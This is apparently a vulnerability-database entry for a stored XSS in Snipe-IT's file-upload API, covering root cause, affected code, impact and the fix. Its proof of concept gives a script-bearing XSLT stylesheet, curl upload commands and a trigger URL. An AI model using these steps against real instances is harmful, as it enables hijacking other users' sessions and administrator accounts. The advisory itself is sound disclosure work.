High

Snipe-IT: Stored XSS via Inline XML Rendering in the Uploaded Files API

  • Disclosed: 24.09.2026
  • Updated: 11.10.2026 10:22

Snipe-IT's uploaded-files API accepts XML documents and later serves them inline without applying the safe-inline allowlist used by the equivalent web controller. An authenticated user who can attach files to a supported object can upload an XSLT stylesheet and an XML document that references it through xml-stylesheet. When another authorized user opens the XML file through the API with ?inline=true, the browser applies the attacker-controlled stylesheet, which produces HTML containing JavaScript in the Snipe-IT origin. This was reproduced against commit df8e3b144331d0c1cc14778f900e7646d1d9a509 (v8.6.3-231-gdf8e3b1443).

The attack requires an authenticated account with file access to at least one supported object and one victim interaction. Scope changes because attacker-controlled code executes in another user's Snipe-IT security context. The script can read same-origin data available to the victim and perform authenticated actions as that victim.

Affected Components

  • app/Http/Requests/UploadFileRequest.php Allows xml uploads through filesystems.allowed_upload_extensions_for_validator. Sanitizes only files detected as image/svg+xml. Both files in this proof of concept are detected by PHP finfo as text/xml, so they are stored unchanged.
  • config/filesystems.php Includes xml in allowed_upload_extensions_array.
  • app/Http/Controllers/Api/UploadedFilesController.php, method show() Honors the attacker-controlled inline=true query parameter for every uploaded file type. Calls Storage::download(..., ['Content-Disposition' => 'inline']) without calling StorageHelper::allowSafeInline().
  • routes/api.php Exposes the affected route as GET /api/v1/{object_type}/{id}/files/{file_id} for multiple object types.
  • app/Http/Middleware/SecurityHeaders.php The default CSP includes script-src 'self' 'unsafe-inline' 'unsafe-eval', so it does not mitigate the injected inline script. The non-API UploadedFilesController::show() already calls StorageHelper::allowSafeInline() before returning an inline response. The missing equivalent check in the API controller creates the vulnerable behavior. Root Cause

File validation treats XML as an allowed attachment format, but the API download path treats all accepted formats as safe active browser content. Extension allowlisting for upload is not equivalent to determining whether a response is safe to render inline. Laravel derives the response Content-Type from each stored file. It returns text/xml; charset=utf-8, while the controller overrides the normal attachment disposition with Content-Disposition: inline. Chromium processes the xml-stylesheet instruction, loads the second same-origin API attachment as XSLT, and executes script in the HTML document produced by the transform.

An attacker can execute arbitrary JavaScript in the Snipe-IT origin when a victim opens the malicious attachment URL. Depending on the victim's privileges, this can enable:

  • Reading same-origin pages and API responses available to the victim.
  • Performing state-changing actions with the victim's session and privileges.
  • Exposing sensitive asset, user, license, and configuration information.
  • Administrative account compromise when a superuser opens the attachment.
  • Cookies marked HttpOnly cannot be read directly, but this does not prevent same-origin authenticated requests or reading their responses.

Proof of Concept

Preconditions

  • Snipe-IT is installed with default XML upload support.
  • The attacker has an API token for a user permitted to manage files on a supported object.
  • The victim is authenticated and permitted to view files on that object.
  1. Create the malicious XSLT file

Save the following as style.xml:

xml
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <html>
      <head><title>BEFORE</title></head>
      <body>
        <div id="result">NOT_EXECUTED</div>
        <script>
          document.getElementById('result').textContent = 'XSS_EXECUTED';
          document.title = 'SNIPE_XSS';
        </script>
      </body>
    </html>
  </xsl:template>
</xsl:stylesheet>

PHP finfo identifies this file as text/xml, not image/svg+xml. 2. Upload the stylesheet through the API

Replace the base URL, token, object type, and object ID with values from the test instance:

bash
curl -i \
  -H 'Authorization: Bearer ATTACKER_API_TOKEN' \
  -H 'Accept: application/json' \
  -F 'file[]=@style.xml;type=text/xml' \
  'https://snipe-it.example/api/v1/models/1/files'

Expected result: HTTP 200 and a successful upload response.

  1. Obtain the stylesheet file ID
bash
curl -s \
  -H 'Authorization: Bearer ATTACKER_API_TOKEN' \
  -H 'Accept: application/json' \
  'https://snipe-it.example/api/v1/models/1/files'

Read the style.xml upload's id from the response and call it STYLE_FILE_ID.

  1. Create and upload the referencing XML document

Save this as data.xml, replacing STYLE_FILE_ID:

bash
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="https://snipe-it.example/api/v1/models/1/files/STYLE_FILE_ID?inline=true"?>
<data>test</data>
PHP finfo also identifies this file as text/xml.
curl -i \
  -H 'Authorization: Bearer ATTACKER_API_TOKEN' \
  -H 'Accept: application/json' \
  -F 'file[]=@data.xml;type=text/xml' \
  'https://snipe-it.example/api/v1/models/1/files'

List the files again and obtain the id of data.xml; call it DATA_FILE_ID.

  1. Trigger the vulnerability

While authenticated in the Snipe-IT web interface as a victim who can view the object's files, open the following in the same browser. The normal Snipe-IT Passport cookie authenticates both same-origin API requests: https://snipe-it.example/api/v1/models/1/files/DATA_FILE_ID?inline=true Expected vulnerable response characteristics:

HTTP/1.1 200 OK
Content-Type: text/xml
Content-Disposition: inline
Content-Security-Policy: ...; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ...

Browser result: the page title changes to SNIPE_XSS, and the displayed text changes from NOT_EXECUTED to XSS_EXECUTED.

Fixed

Fixed in https://github.com/grokability/snipe-it/commit/e929b31f0b183c5810bd2b833c1f6f643cbe5284

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package snipe/snipe-it < 8.7.0 8.7.0

References

CVSS score 8.7/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Weakness (CWE)
CWE-79
Platform
Composer
Package
snipe/snipe-it
Disclosed
24.09.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-396x-xmvh-p563 - CC BY 4.0

Vulnerability history: snipe/snipe-it

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (81) in the archive
Total entries
81
First → latest
10.2021 09.2026
Without a fix
6
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 23
  • Medium 53
  • Low 4

Disclosures per year

  1. 2021: 10
  2. 2022: 20
  3. 2023: 2
  4. 2024: 3
  5. 2025: 6
  6. 2026: 40
Severity:
  1. Snipe-IT: Stored XSS via Inline XML Rendering in the Uploaded Files API this entry
    High · 8.7 CVE-2026-63498 < 8.7.0 8.7.0
  2. High CVE-2026-63493 < 8.7.0 8.7.0
  3. High · 6.5 CVE-2026-55843 < 8.6.0 8.6.0
  4. High · 7.1 CVE-2026-55460 < 8.6.2 8.6.2
  5. High CVE-2026-55643 < 8.6.3 8.6.3
  6. High · 8.5 CVE-2026-54329 < 8.6.2 8.6.2
  7. Critical · 9.8 CVE-2026-37709 < 8.4.1 8.4.1
  8. High · 8.8 CVE-2026-44832 < 8.4.1 8.4.1
  9. High · 8.7 CVE-2024-51093 <= 7.0.13 no fix
  10. High · 7.2 CVE-2024-48987 < 7.0.10 7.0.10
  11. High · 8.8 CVE-2023-5511 < 6.2.3 6.2.3
  12. High · 8.8 CVE-2022-23064 >= 3.0-alpha, < 5.3.8 5.3.8
  13. High · 7.4 CVE-2022-1155 >= 6.0.0-RC-1, < 6.0.0-RC-6, < 5.4.2 6.0.0-RC-6, 5.4.2
Show more (4) Showing 20 of 24

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.